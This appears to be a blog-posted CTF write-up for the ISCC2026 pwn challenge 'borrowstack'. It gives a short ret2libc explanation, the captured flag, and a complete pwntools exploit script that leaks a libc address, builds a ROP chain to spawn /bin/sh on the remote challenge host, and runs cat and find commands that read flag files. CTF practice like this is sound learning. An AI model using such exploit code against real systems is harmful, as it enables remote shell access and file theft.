PWN-borrowstack

ISCC2026 WriteUp 提交模板

PWN-borrowstack

Sometimes you need to step onto someone else's ground
题目地址: 39.96.193.120:10002

解题思路

checksec:

image.png

main函数中就一个栈溢出:

image.png

看了下,没system函数,所以打ret2libc就行了。

image.png

ISCC{ad5e3007-82ff-456d-971a-82e84f3f31f4}

Exp

from pwn import *
# from Crypto.Util.number import long_to_bytes, bytes_to_long

# ==============全局配置=======================
ELFpath = "./attachment-27"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10002
NOASLR = False

# 这题是 32 位程序;远端命中的 libc 满足 system = puts - 0x2be80
OFFSET = 84
SYSTEM_FROM_PUTS_DELTA = 0x2BE80
BSS_SCRATCH_DELTA = 0x100

# ===============初始化========================
context(os="linux", arch="i386", log_level="debug")
if LOCAL:
    io = process(ELFpath, aslr=not NOASLR)
else:
    io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath)

# =================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

# ====================业务常量====================

# ================工具函数====================
def debug(io):
    input()  # 在脚本窗口点击回车,才会继续执行
    gdb.attach(io)
    # 记住调试时在脚本最后一行放个input()防止程序退出


def leak():
    payload = flat(
        b"A" * OFFSET,
        elf.plt["puts"],
        elf.sym["vul"],
        elf.got["puts"],
        word_size=32,
    )
    sd(payload)
    leak_blob = io.recvrepeat(0.5)
    if len(leak_blob) < 4:
        raise RuntimeError(f"short leak: {leak_blob!r}")
    puts_addr = u32(leak_blob[:4])
    log.success(f"leak bytes => {leak_blob.hex(' ')}")
    log.success(f"puts@libc => {hex(puts_addr)}")
    return puts_addr


def getshell(system_addr):
    bss = elf.bss() + BSS_SCRATCH_DELTA
    payload = flat(
        b"A" * OFFSET,
        elf.plt["read"],
        system_addr,
        0,
        bss,
        8,
        word_size=32,
    )
    sd(payload)
    sleep(0.2)
    sd(b"/bin/sh\x00")
    sleep(0.2)
    log.success(f"/bin/sh => {hex(bss)}")


def read_flag():
    sl(
        b"echo MARK; "
        b"cat /flag 2>/dev/null; "
        b"cat /flag* 2>/dev/null; "
        b"cat flag 2>/dev/null; "
        b"cat flag* 2>/dev/null; "
        b"find / -maxdepth 3 -name 'flag*' 2>/dev/null | xargs -r cat; "
        b"echo END"
    )
    data = io.recvrepeat(2.5).decode("latin-1", "replace")
    log.info(data)
    return data


def attack():
    banner = io.recvline(timeout=2)
    if banner:
        log.info(banner.decode("latin-1", "replace").rstrip())

    puts_addr = leak()
    system_addr = puts_addr - SYSTEM_FROM_PUTS_DELTA
    log.success(f"system@libc => {hex(system_addr)}")

    getshell(system_addr)
    read_flag()


# ============实现========================
attack()
io.interactive()


posted @ 2026-05-19 16:32  MillionMind  阅读(12)  评论(0)    收藏  举报